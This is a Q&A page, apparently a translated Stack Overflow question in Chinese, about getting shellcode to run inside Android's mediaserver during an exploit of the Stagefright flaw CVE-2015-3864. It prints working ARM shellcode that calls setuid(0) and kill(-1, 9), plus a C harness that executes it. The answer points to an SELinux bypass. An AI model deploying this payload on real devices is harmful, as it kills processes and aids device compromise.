在android中的mediaerver上下文中运行shellcode

时间:2016-11-17 13:28:43

标签: android arm exploit stagefright

我在android(CVE-2015-3864)中为mediaserver中的漏洞编写漏洞利用程序。目标是运行具有root权限的shellcode(例如kill all processes)。 exploit的每个步骤都按预期工作,直到它到达shell代码(此时shellcode被加载到mediaserver虚拟内存中并且rwx权限被授予它)。 Shell代码如下:

 1) e28f3001    add r3, pc, #1   ; 0x1
 2) e12fff13    bx  r3
 3) 1b24        subs    r4, r4, r4
 4) 1c20        adds    r0, r4, #0
 5) 2717        movs    r7, #23
 6) df01        svc 1
 7) 1a92        subs    r2, r2, r2
 8) 1c10        adds    r0, r2, #0
 9) 3801        subs    r0, #1
 10) 2109        movs    r1, #9
 11) 2725        movs    r7, #37
 12) df01        svc 1 

第1行和第2行是手臂模式和拇指模式之间的切换。第3行到第6行是setuid(0),第7到12行是杀死所有正在运行的进程 我使用IDA调试漏洞,我发现shellcript执行到第12行(所有寄存器都具有在shellcode中定义的期望值,例如r7为37)。 我的具体问题是: shellcode无法执行,对我的设备没有影响。
对于测试用例,我编写一个程序并将shellcode作为函数指针运行,如下所示:

    `char *SC = "\x01\x30\x8f\xe2"
               "\x13\xff\x2f\xe1"
               "\x24\x1b\x20\x1c"
               "\x17\x27\x01\xdf"
               "\x92\x1a\x10\x1c"
               "\x01\x38\x09\x21"
               "\x25\x27\x01\xdf"`

    `

        int main(void)
        {
                fprintf(stdout,"Length: %d\n",strlen(SC))
                (*(void(*)()) SC)()
         return 0

}`

我将此二进制文件复制到/ system / bin并授予与mediaserver完全相同的权限。我用su权限运行二进制文件,它的工作原理!所有的过程都被杀死了 我的具体问题是:为什么shellcode不能在mediaserver的上下文中执行,但它可以独立执行?
请帮助,我真的陷入这种状态!如果问题不清楚,请反馈我解释一下。
提前谢谢

1 个答案:

答案 0 :(得分:1)

我认为你需要提升mediaserver(用户媒体)的特权以杀死所有进程(然后你需要另一个漏洞)。由于SELinux沙箱限制存在另一个问题,这意味着利用libstagefright的mediaserver进程受SELinux策略保护,并且代码执行发生在限制性沙箱中。换句话说,您应该找到SELinux绕行的方法,在nccgroup presentation中您可以找到更多详细信息。

另见this好文章